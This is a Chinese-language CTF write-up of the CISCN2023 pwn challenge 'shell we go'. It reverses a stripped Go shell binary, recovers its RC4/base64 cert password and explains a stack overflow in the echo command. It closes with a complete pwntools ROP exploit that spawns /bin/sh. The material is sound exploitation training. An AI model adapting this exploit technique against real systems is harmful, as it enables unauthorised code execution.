CISCN2023 shell we go

在国赛上遇到的一道go语言的题,自己也是第一次遇到,在此记录一下复现的过程。

由于go语言编译都是静态的,而且程序把所有的符号表都去掉了,对于逆向的难度大大提升,虽然可以通过输出的字符串快速找到主函数,但是对于一些go语言的库函数根本就无法判断,分析这些库函数只会浪费大量时间;这里使用一下IDAGolangHelper,可以修复go的符号表。

进入程序后很快就想到输入常用的shell命令,但是输出只有“Cert Is A Must”,查找”Cert“字符串可以看到还有一个”Cert complete, you can explore more“,说明需要输入一些东西认证:

引用该字符串的函数为main_unk_func0b01,好像看不出什么东西:

接着向上找引用main_unk_func0b01的函数,看到main_unk_func0b05函数,很快就发现伪代码中没有调用过main_unk_func0b01函数的痕迹:

直接查看该函数的汇编,果然ida7.7的伪代码功能对go无法准确识别。函数中下面的块全是cmp,将一些奇怪的16进制数变成字符串(需要逆序看),可以清晰地看到基本上全是一个先比较字符串长度,再去比较字符内容的一个过程,shell中不同指令的实现是将该过程重复多次来判断指令的内容,进而跳转到相应的地方去实现不同指令的功能:

在cmp时,数据全是在rax的地址获取的,也很容易看到一个规律:[rax + i]为字符串的地址,[rax + i * 8]为字符串的大小,rax寄存器之前一次改变是在调用strings_genSplit函数后,通过gdb调试发现该函数通过空格来分割字符串,rax保存字符串分割后的信息,rbx是分割的块数:

接下来很多东西都可以顺利看懂了,想进入main_unk_func0b0函数,分割的块数为3,第一个字符串为”cert”,第二个字符串为”nAcDsMicN”,第三个字符串进入main_unk_func0b0函数后再去进一步比较。接下来再进入main_unk_func0b0分析,看到crypto_rc4_NewCipher、encoding_base64__ptr_Encoding_EncodeToString这些库函数,直接去网上搜一下,这些函数就是cr4加密后再进行base64编码,,最后与”JLIX8pbSvYZu/WaG”比较,通过这个网站就可以解密:https://www.lddgo.net/encrypt/rc4

输入”cert nAcDsMicN S33UAga1n@#!”后就能真正去使用这个shell,回过头去看main_unk_func0b05函数中比较的字符串,可以发现的指令有”ls”、”cd”、”cat”、”whoami”、”echo”、”exit”,其中只有”ls”和”cd”才能真正实现相应的功能,而cat匹配到flag时会输出一个假的flag(😦),真正有用的是echo会进入main_unk_func0b04函数。

main_unk_func0b04函数中通过输入的字符串的大小(除空格)作为循环的大小,将其单个字节循环复制到栈中,这里是一个echo的栈溢出,main_unk_func0b04函数会先对每一个字符串块的大小进行检查,直接使用空格绕过即可:

而在临近rbp的部分存着复制过程中循环的大小与栈的相对基址,如果直接填充数据溢出的数据将其改变就会使复制数据失败,不能覆盖返回地址了,这里使用”+”这个字符可以不对让数据不复制到栈上,而循环的大小依然再增加:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
elf = ELF('pwn')
p = process('./pwn')
context.log_level = 'debug'
context.arch = 'amd64'

pop_rdi_ret = 0x444fec
pop_rsi_ret = 0x41e818
pop_rdx_ret = 0x49e11d
pop_rax_ret = 0x40d9e6
syscall_ret = 0x4636e9
bss = 0x5A2C88

p.sendlineafter(b'$', b'cert nAcDsMicN S33UAga1n@#!')

payload = p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_ret) + p64(8) + p64(pop_rax_ret) + p64(0) + p64(syscall_ret)
payload += p64(pop_rdi_ret) + p64(bss) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(pop_rax_ret) + p64(0x3b) + p64(syscall_ret)

p.sendlineafter(b'#', b'echo ' + b'a' * (0x200 - 0x100 - 0xd) + b' ' + b'b' * 0x110 + b'+' * 0x20 + payload)
p.send(b'/bin/sh\x00')
p.interactive()

CISCN2023 shell we go
https://xtxtn.github.io/2023/05/30/CISCN2023-shell-we-go/
作者
xtxtn
发布于
2023年5月30日
更新于
2023年6月7日
许可协议